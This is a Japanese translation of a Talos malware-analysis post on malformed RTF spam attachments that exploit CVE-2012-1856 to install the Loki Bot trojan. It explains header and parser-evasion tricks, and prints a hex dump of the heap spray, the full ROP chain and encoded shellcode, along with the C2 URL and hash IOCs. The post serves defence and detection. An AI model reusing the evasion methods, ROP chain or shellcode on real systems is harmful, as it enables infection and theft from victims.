概要
Talos では、よく知られている Loki Bot 型トロイの木馬を利用した新しいスパム キャンペーンを発見しました。感染ベクトル自体は古いエクスプロイト(CVE-2012-1856)を利用した RTF ドキュメントですが、もっとも興味深い部分は RTF ドキュメントに仕込まれた巧妙な手口です。不正な RTF ドキュメントには、セキュリティ エンジンとパーサーを無効にするためのコードが含まれており、アンチウイルスやネットワーク セキュリティ デバイスなどのコンテンツ検査デバイスを回避する狙いがあります。VirusTotal によると、最近のスパム キャンペーンで悪意のある RTF ドキュメントを当初から検出できたのは、45 種類のセキュリティ エンジンのうち 3 種類にすぎません。
この脆弱性は既に知られているにも関わらず、多くのセキュリティ製品では攻撃を特定できていません。それらの製品では RTF 形式を正しく分類できず、RTF ファイル内に埋め込まれた OLE ドキュメントをスキャンできないことが理由です。oletools の rtfobj.py といったオープン ソースのパーサーでさえ、埋め込まれた OLE を抽出するのは困難です。
本記事では、RTF ファイルを不正に変更してセキュリティ保護を回避する手口について解説します。
スパムの例
スパム キャンペーンで利用されるメールは多種多様です。多くの電子メールでは共通の「請求書」添付ファイルを含みますが、今回の例のように、一部の電子メールでは手口がさらに高度化しています。
不正な RTF
本記事で解説する分析サンプルには、66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f の SHA256 が含まれています。
RTF ファイル形式について
RTF ドキュメントは Microsoft 社が開発した独自のファイル形式です。ここで主な問題になるのは、「オブジェクト」の {\objdata HEXA} サブパートです。このデータ ブロックにより、RTF ドキュメント内に OLE オブジェクトを含めることができます。データは OLE の16進値で表されます。たとえば、次のようになります。
{\objdata dde00000 00000000 00000000 576f726400446f63756d656e74003132 00000000 00000000 00c20000 d0cf11e0a1b11ae1000000000000000000000000000000003e00 … }
ファイル ヘッダの変更
RTF ドキュメントで最初に変更された部分はヘッダーです。Microsoft のドキュメンテーションによると、RTF ドキュメントは “{\rtN” で始まる必要があります(N は RTF バージョン)。悪意のある RTF ドキュメントのヘッダーは、次のようになります。
このドキュメントには有効なヘッダーが含まれていないだけでなく、PNG 画像のヘッダーも含まれています。この手口により、いくつかのセキュリティ製品ではファイルの種類を正しく検出できません。
無視される 16 進数値の追加
次の変更点は、無視される 16 進値を追加することです。たとえば、次のスニペットでは 0x0d(CR – 改行)文字が追加されていることを見て取れます。
Microsoft のソフトウェアでは、この非 ASCII 文字を単に無視します。この例では、最終値は「000000105000000000」になります。
無視される文字の追加
さらに、無視される ASCII 文字をドキュメントに追加するという手口も採り入れています。
この例では、”.}” および “}”の値は Office によって無視されます。ただし、サードパーティーのパーサーでは文字をデータの末尾として認識し、OLE を切り捨てる可能性もあります。
エクスプロイトとマルウェア
埋め込まれた OLE オブジェクトには、Microsoft OOXML 形式のドキュメントが含まれています。OOXML ドキュメントに含まれている ActiveX XML ファイルは、この脆弱性を特定するのに役立ちます。
1EFB6596-857C-11D1-B16A-00C0F0283628 のクラス ID は、CVE-2012-1856 の脆弱性コンポーネントである MSCOMCTL TabStrip 制御コンポーネントと一致します。
このエクスプロイトは、次のバイナリ BLOB にある古典的なヒープ スプレーです。
00000cf0 cc cc cc cc eb 51 36 7c eb 51 36 7c 02 2b 37 7c |.....Q6|.Q6|.+7|| 00000d00 01 02 00 00 64 43 34 7c 40 00 00 00 28 1a 35 7c |....dC4|@...(.5|| 00000d10 c7 0f 39 7c 9e 2e 34 7c 0f a4 34 7c dc 50 36 7c |..9|..4|..4|.P6|| 00000d20 a3 15 34 7c 97 7f 34 7c 51 a1 37 7c 4d 8c 37 7c |..4|..4|Q.7|M.7|| 00000d30 30 5c 34 7c 90 90 90 90 90 90 90 90 90 90 90 90 |0\4|............| 00000d40 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 |................| 00000d50 e9 1f 01 00 00 cc cc cc cc cc cc cc cc cc cc cc |................| 00000d60 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc |................| * 00000e50 c3 6f 37 7c c3 6f 37 7c c3 6f 37 7c c3 6f 37 7c |.o7|.o7|.o7|.o7|| * 00000e70 90 90 90 90 90 90 90 90 d9 eb 9b d9 74 24 f4 5d |............t$.]| 00000e80 8d 4d 17 ba 47 01 00 00 80 31 12 41 4a 75 f9 23 |.M..G....1.AJu.#| 00000e90 db 76 99 63 22 99 64 1e 99 64 1e bf 99 22 99 64 |.v.c".d..d...".d| 00000ea0 0a 9b e4 f9 4b 72 9b ef 9b e1 44 99 61 2e 99 66 |....Kr....D.a..f| 00000eb0 0c 6a 13 cc 44 99 64 32 13 cc 23 db 5b 53 bf 13 |.j..D.d2..#.[S..| 00000ec0 ca 44 23 e4 1d ac 02 2a c4 66 1a d3 dc 15 13 c4 |.D#....*.f......| 00000ed0 52 f9 e3 2b 67 12 4c 67 f6 48 9b cd 99 48 36 13 |R..+g.Lg.H...H6.| 00000ee0 e9 74 99 1e 59 99 48 0e 13 e9 99 16 99 13 ea 9b |.t..Y.H.........|
青で強調表示されたコードは、以前にこちらで紹介した ROP チェーンです。
0x7c3651eb # pop ebp # ret 0x7c3651eb # skip 4 bytes 0x7c372b02 # pop ebx # ret 0x00000201 # 0x201 -> ebx 0x7c344364 # pop edx # ret 0x00000040 # 0x40 -> edx 0x7c351a28 # pop ecx # ret 0x7c390fc7 # &Writable location -> ecx 0x7c342e9e # pop edi # ret 0x7c34a40f # ret -> edi 0x7c3650dc # pop esi # ret 0x7c3415a3 # jmp dword ptr [eax] -> esi 0x7c347f97 # pop eax # ret 0x7c37a151 # ptr to &VirtualProtect() - 0x0EF 0x7c378c4d # pushad # add al,0EFh # ret 0x7c345c30 # push esp # ret
赤色で強調表示されたコードは、NOP スレッドと、それに続くシェルコード(太字)へのジャンプ(オレンジ色)です。
シェルコードの目的は次のとおりです。
- ドキュメントに埋め込まれた実行可能コードをデコードする
- ドキュメントを %APPDATA%\7B4331\1C8BBC.exe にドロップする
- 実行可能ファイルを実行する。
バイナリは、コマンドと制御ドメイン(paneltestghelp.xyz)と通信する Loki Bot 型トロイの木馬です。CC へのネットワーク接続のスクリーンショットを次に示します。
まとめ
このキャンペーンは、攻撃の洗練さと革新性が、利用されているエクスプロイトに必ずしも限定されない良い例だと言えます。今回のキャンペーンでは、よく知られている脆弱性が利用されていますが、RTF ファイル形式をよく理解した上で悪意のあるドキュメントを作成していることが分かります。セキュリティ製品による検出を避け、ターゲットがドキュメントを開く可能性を最大限に高めるよう巧妙に偽装されています。
カバレッジ
お客様がこの脅威を検出してブロックできる別の方法を以下に記載します。
Advanced Malware Protection(AMP)は、これらの攻撃者によるマルウェアの実行の阻止に最適です。
CWS や WSA の Web スキャンは、悪意のある Web サイトへのアクセスを阻止し、それらの攻撃に使用されるマルウェアを検出します。
E メール セキュリティ は、攻撃の一環として攻撃者が送りつける、悪意のある電子メールをブロックします。
IPS のネットワーク セキュリティ保護や NGFW には、攻撃者による不正なネットワーク アクティビティを検出できる最新のシグネチャが備わっています。
AMP Threat Grid は、悪意のあるバイナリを特定し、すべてのシスコ セキュリティ製品に保護機能を組み込みます。
Umbrella は悪意のあるアクティビティに関連付けられているドメインの DNS 解決を防止します。
IOC
Networks:
- hxxp://paneltestghelp.xyz:80/eval/server/readonly/fre.php
ドロップされた実行可能ファイルの SHA256:
- da1a6747a3329c3a317d4bd7ecf029e89bd76192075f84834563103a54bac968
- 2e65f8fc7901505dd4225ec66cca0ef308f2b6fbe48d37f5055775854bf7a5f8
- a3c3abcd461d00e1f928e375770e39e3a33f719d7287a2fee661d82ce8de1c56
同様の不正変更がなされた、悪意のある RTF ファイル形式の SHA256 サンプル:
- 7b684ad97bb9f5093e5cfb100352ad2f0ec3dfce63232207daf0aa736d6438c9
- 14a6e04a60b1bb5f4d0fb3fffa240b7b34bf9c0b8504da19caeb31182510c139
- 1ae6aa92ce8ee9a2ab78631663fa5a9bdcc14490c4c5fe799b41d26455b5b696
- 4f2c10b64d4f4b56d56b5a271331c92484b6ddf8c4eb9f56669ed60545a4c06d
- b1da2cb4fcee52cdc94c06325c339ac11a3fb1e399e1ed5a2a55107f5f64867f
- 41c4483cfcc0b5a10504aa137ec3824d139663b7ec318d5e1fb6c9f5db8af8f9
- f07f87ab68482d329eeac5525ea5f189bcd720d2b2d149db61ab81ae04be957a
- be81741ae3c7c2c5000785a2573c901068a2906054690ac22119ac794aa9e8e2
- cd16e420fbc39b63de93198cdb1265c1bfe83119c7d4d75d5501465cdd0847f1
- b330fadeb337e9fb5aa9f8046462e3d1d418946fd6237bc252a80a2d4fb2fff7
- 629d1afbedd7cc082549d5c3fc3926b6b4e55abc3c07f8d994a791893a2fd530
- 9f48ce01ac99033c03e9aa983c09fa273eae0e168e55de8cc364311ae4fc88b9
- dd783bcdbc81bc605cf07545a01273596d4e51b198874253815069cd6708b2fa
- 59011fa80db84cea54bc6ec7f7bc689d916f04e8df9950b259ad524142225731
- 7aa0abedd75c46680ac65814d9433a04bb9f6bc6f094d66cc33a918f32dcb2fa
- ad3af8a7ab469fa930d0873475214c3160f52b17c06f296d6ce9cc6fc92e8a79
- 89a1264bd7facf02d48aff46724a0215c2fb1974d06451cebefdb2ea7ea9a71a
- c53bf11adb48a00393c30a0902716e0088f650750349f5966ba3b60a0fa17487
- 4a7d6c770c5fdbb32534b535efe0324e3bc25a8bcd3551b7fe0ff3610ee81299
- 6077c3ed4dc67526f89b2c59fc16b389530a73b326f63fff17ae7c824b7770fd
- 11836837753c754997adf8ccf4fa8ba824e57725f56fbcd3b0d903e1fa30ac5b
- 737d1468b20dc39300bc2be38285b6482940d2be9ae59b7dc984cf4dc6d82053
- 415b9e72811cd7c50366d9c9038df02fe3bbfc6446ef42b099d85ea576fbd35d
- 84a2ded87681e65be35994ea26f4b2287e52438bbeebaac784c291196a6f94c6
- 9c62f4947a572356f43f71fb55f2b702b78c2e1688c67eff89c36da50137ed21
- c201e4bb7b68b4655ab7ac85c8a7c93abe2238ec3d24914d86e8a543b6c6abbd
- 17ae8d128938131ebc944f5d77be7009fd05c8831f88ef3558cc9c00f0633f97
- dbc97df1e5036ac572d8a247a6b073ab1f1dabd20676443598135c6743534028
- 79316e4c2601a5721d5d6ada0f152790ad44aa9ac5badf17e12c7825fb1f46aa
- a406f0208c914ff28f8e30eda539acb6abd23bbdecf704be4b77615a27f62e8d
- 552fe8b5fd175822d4479552078331dbfb16881fea9514377a802f3cce87ac02
- 27290fd934092cf1ca2a242e6847665a16771376af8f5c81ef1c851463e77709
- 66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f
- a0e529ed847b78fd68a871688a7e99e6abc87295c671a3e2d02a61a1e04f5ce9
- 5c1db6ce5989645bbc8cb8489dee2fb99eba7b4093eaad96cd5a6c692a53c245
- c343e92d30c1374c631efa8cf612faf5567e8bd66330e1ff58ac9296c3373304
- ecc9526b380bd109dbcb3d9c4635c1866234d302658758d6ecf4e927a12af9a1
- 450b2d6741a452d3bff491fb3a40ec8e29cbaf24fb1b400863efe1a7f920543e
- 99a3939d654e4c424dcf33fbc18c7568d1030981ad1ae8f2a6da2966efbff669
- e7fc4527e4cb65e05069b871e06226ce9c9669649ed9cfbad2dcb41cdd9fe94c
- 1d73428619f69cbdfc5158f1682cc304ba6af2a0b425244bcd8c2c432d4a50d7
- cbb58841ef2179e52fcfb918d085503ccf4482014fa1f0714e11fd667de974a0
- 44583aca68ce734bccc79d28f666bdc81a1436c257f035875df15a82f35e6910
- 5872ec86add4892f061cc1fd2478da098645876d0b13d3ce3e789f526c5b8ec8
- 9eb85367bd59854ccd7b8e13a22deec92bbe746a5de83820d7265055f96da40f
- 6d33cd5b7cfcc4a55583adbf75f578d71d6aa572e93c5a7392ece4dc8204d0f8
- 4d46087599b246cd297883341859561b3b1794419c704b167a28c7891ff5d7b1
- 7c5337250b6a1ede2472e4acc74366e8a425eaf2c36e3805d36200ad560d0feb
- bc4f30177538628f93d57ae1e59859c50409afefe133956ec801c040ab9253f5
- 726f170f13b9a24d409c0c4fbf0a14aff0f3cd1662762230bfaf7a8822257880
- 885877989df73bafd087f7c689eedfa5e2fe3620ab62d6ff57a3394702761751
- 9f40662ebbd3a848219aa47c149c174c292cea5e62dcc0bd26f12e1bf5ba7d7c
- 0882c8a38ca485fe9763b0c0c7c5a22c330cebe86101a9e1ffa5a70c4f58faac
- 156cbbb25240e246a2340e1bca1692b7110277bac30f76dcacd48dd5f2042caa
- a28c3c075ecfb982e6e3cb237c0eab1308f023e7bcf207d0fd1f2b4f29791074
- e5de4a14367d1a7b599d7afae07aa66c63941238ff25f4f17dea54db6d8ac350
- 5d6b52287f4fdefe0621d9fadd83b0531f56811937b023ce49e426e320b372f5
- 599a60601345bf8fc05f27d35f3c3f2ed80b6e7890d5f33a57f75c09a089356a
- 194549b3fd0be8a701b8433db1b2cff396a4492c342632fa22d6af89570eff46
- 673f9469ff150c8c821ea3b5b1cda8175d09719fbd7d1359d334dbf17f74adbe
- f81be30a7d6792e59f5a0ade225472042c9eb9bf59b03f67e85b0642c16e59ce
- 5957fe5e38f2b2530569e21f040a92b1fb36816b6d5187d8a0ecf0ba84f36519
- 66de8e2f1d5ebbf3f8c511d5cd6394e24be3c694e78d614dfe703f8aa198906f
本稿は 2017年3月23日に Talos Group のブログに投稿された「How Malformed RTF Defeats Security Engines」の抄訳です。